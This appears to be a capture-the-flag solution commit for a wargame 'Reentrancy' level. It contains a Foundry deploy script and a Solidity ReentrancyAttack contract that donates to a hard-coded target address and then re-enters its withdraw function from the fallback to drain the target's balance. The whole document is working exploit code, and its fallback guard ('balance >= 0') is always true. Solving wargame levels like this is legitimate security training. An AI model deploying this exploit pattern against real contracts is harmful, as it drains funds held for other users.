lvl: re-entracy

Author: ether-wan

script/Reentrancy/DeployReentrancy.sol

@@ -0,0 +1,21 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.13;
+
+import {Script, console} from "forge-std/Script.sol";
+import {ReentrancyAttack} from "../../src/ReentrancyAttack.sol";
+
+contract DeployReentrancy is Script {
+
+    ReentrancyAttack attacker;
+
+    function run() external {
+        
+        uint256 pkey = vm.envUint("PKEY");
+        vm.startBroadcast(pkey);
+
+        attacker = new ReentrancyAttack{value: 0.001 ether}();
+        attacker.attack();
+
+        vm.stopBroadcast();
+    }
+}

src/ReentrancyAttack.sol

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+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.13;
+
+interface IReentrance {
+    function withdraw(uint256 _amount) external;
+    function donate(address _to) external payable;
+}
+
+contract ReentrancyAttack {
+
+    address target = 0x2E7462F2E74b6bFf17B7C2f5AA0Ba40A6a439e98;
+    uint256 amountToWithdraw;
+
+    constructor() payable {
+        amountToWithdraw = msg.value;
+    }
+
+    function attack() external payable {
+        IReentrance(target).donate{value : amountToWithdraw}(address(this));
+        IReentrance(target).withdraw(amountToWithdraw);
+    }
+
+    fallback() external payable {
+        if (target.balance >= 0) {
+            IReentrance(target).withdraw(amountToWithdraw);
+        }
+    }
+}